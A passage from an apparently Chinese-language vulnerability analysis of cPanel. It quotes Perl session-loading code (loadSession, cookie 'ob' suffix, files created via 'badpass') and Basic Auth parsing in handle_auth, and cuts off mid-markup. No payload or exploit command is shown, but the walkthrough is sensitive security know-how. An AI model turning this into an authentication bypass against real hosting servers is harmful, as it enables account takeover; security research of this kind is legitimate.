255);"><span leaf="">$session</span></span><span leaf="">);</span></code></pre><p style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">进入 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">loadSession</span></code><span leaf=""> ，将移除 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">cookie</span></code><span leaf=""> 中的 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">ob</span></code><span leaf=""> 后缀，后续会加载前面 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">badpass</span></code><span leaf=""> 调用 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">create</span></code><span leaf=""> 创建的文件，最终获取 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">session_ref</span></code><span leaf=""> 对象：</span></p><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);margin: 10px 8px;padding: 0px !important;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);overflow-x: auto;border-radius: 8px;line-height: 1.5;"><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 10px 14px 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);display: flex;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0.5em 1em 1em;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;border-radius: 4px;display: -webkit-box;overflow-x: auto;text-indent: 0px;color: inherit;background: none;white-space: nowrap;"><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);"><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf="">sub</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(210, 168, 255);"><span leaf=""> loadSession</span></span></span><span leaf="">{</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""><br/></span><span leaf="">    my</span></span><span leaf=""> (</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf="">$session</span></span><span leaf="">) =</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> @_</span></span><span leaf="">;</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(139, 148, 158);"><span leaf="">    # session</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""><br/></span><span leaf="">    my</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> $ob</span></span><span leaf=""> = get_ob_part(\</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf="">$session</span></span><span leaf="">);</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""><br/></span><span leaf="">    my</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> $cache_file</span></span><span leaf=""> =</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(165, 214, 255);"><span leaf=""> &#34;/var/cpanel/sessions/cache/</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(201, 209, 217);"><span leaf="">${session}</span></span><span leaf="">.json&#34;</span></span><span leaf="">;</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""><br/></span><span leaf="">    if</span></span><span leaf=""> (-f</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> $cache_file</span></span><span leaf="">) {</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""><br/></span><span leaf="">        my</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> $json_data</span></span><span leaf=""> = Cpanel::AdminBin::Serializer::Load(</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf="">$cache_file</span></span><span leaf="">);</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""><br/></span><span leaf="">        if</span></span><span leaf=""> (</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf="">$json_data</span></span><span leaf=""> &amp;&amp;</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""> ref</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> $json_data</span></span><span leaf=""> eq</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(165, 214, 255);"><span leaf=""> &#39;HASH&#39;</span></span><span leaf="">) {</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""><br/></span><span leaf="">            if</span></span><span leaf=""> (</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf="">$ob</span></span><span leaf=""> &amp;&amp;</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> $json_data</span></span><span leaf="">-&gt;{</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(165, 214, 255);"><span leaf="">&#39;pass&#39;</span></span><span leaf="">}) {</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""><br/></span><span leaf="">                my</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> $encoder</span></span><span leaf=""> = Cpanel::Session::Encoder-&gt;new(</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(165, 214, 255);"><span leaf="">&#39;secret&#39;</span></span><span leaf=""> =&gt;</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> $ob</span></span><span leaf="">);</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""><br/></span><span leaf="">                $json_data</span></span><span leaf="">-&gt;{</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(165, 214, 255);"><span leaf="">&#39;pass&#39;</span></span><span leaf="">} =</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> $encoder</span></span><span leaf="">-&gt;decode_data(</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf="">$json_data</span></span><span leaf="">-&gt;{</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(165, 214, 255);"><span leaf="">&#39;pass&#39;</span></span><span leaf="">});</span><span leaf=""><br/></span><span leaf="">            }</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""><br/></span><span leaf="">            return</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> $json_data</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">        }</span><span leaf=""><br/></span><span leaf="">    }</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""><br/></span><span leaf="">    my</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> $raw_file</span></span><span leaf=""> =</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(165, 214, 255);"><span leaf=""> &#34;/var/cpanel/sessions/raw/</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(201, 209, 217);"><span leaf="">${session}</span></span><span leaf="">&#34;</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    ...</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(139, 148, 158);"><span leaf=""><br/></span><span leaf="">    # 加载解析</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf="">    return</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> $session_ref</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">回到 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">handle_auth</span></code><span leaf=""> 的 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">Basic Auth</span></code><span leaf=""> 解析环节，获取 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">header</span></code><span leaf=""> 中的 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">Authorization</span></code><span leaf=""> ，进行 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">base64</span></code><span leaf=""> 解码提取 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">user</span></code><span leaf=""> 和 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">pass</span></code><span leaf=""> ：</span></p><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);margin: 10px 8px;padding: 0px !important;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);overflow-x: auto;border-radius: 8px;line-height: 1.5;"><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 10px 14px 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);display: flex;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0.5em 1em 1em;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;border-radius: 4px;display: -webkit-box;overflow-x: auto;text-indent: 0px;color: inherit;background: none;white-space: nowrap;"><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf="">my</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> $auth_header</span></span><span leaf=""> =</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> $server_obj</span></span><span leaf="">-&gt;request-&gt;get_headers-&gt;{</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(165, 214, 255);"><span leaf="">&#39;authorization&#39;</span></span><span leaf="">};</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""><br/></span><span leaf="">    if</span></span><span leaf=""> (</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf="">not</span></span><span leaf="">(</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf="">$auth_header</span></span><span leaf="">)) {</span><span leaf=""><br/></span><span leaf="">       ...</span><span leaf=""><br/></span><span leaf="">    }</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""><br/></span><span leaf="">    else</span></span><span leaf=""> {</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""><br/></span><span leaf="">        my</span></span><span leaf="">(</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf="">$authtype</span></span><span leaf="">,</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> $encoded</span></span><span leaf="">) =</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""> split</span></span><span leaf="">(</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(165, 214, 255);"><span leaf="">/ /u</span></span><span leaf="">,</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> $auth_header</span></span><span leaf="">,</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> 2</span></span><span leaf="">);</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""><br/></span><span leaf="">        if</span></span><span leaf=""> (</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf="">$authtype</span></span><span leaf=""> =~</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(165, 214, 255);"><span leaf=""> /^Basic$/iu</span></span><span leaf="">) {</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""><br/></span><span leaf="">            $server_obj</span></span><span leaf="">-&gt;auth-&gt;set_auth_type(</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(165, 214, 255);"><span leaf="">&#39;basic&#39;</span></span><span leaf="">);</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""><br/></span><span leaf="">            my</span></span><span leaf="">(</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf="">$user</span></span><span leaf="">,</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> $pass</span></span><span leaf="">) =</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""> split</span></span><span leaf="">(</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(165, 214, 255);"><span leaf="">/:/u</span></span><span leaf="">, decode_base64(</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf="">$encoded</span></span><span leaf="">),</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> 2</span></span><span leaf="">);</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""><br/></span><span leaf="">            $user</span></span><span leaf=""> =</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> $server_obj</span></span><span leaf="">-&gt;auth-&gt;set_user(</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf="">$user</span></span><span leaf="">);</span><span style="box-sizing: border-box;border: 0px 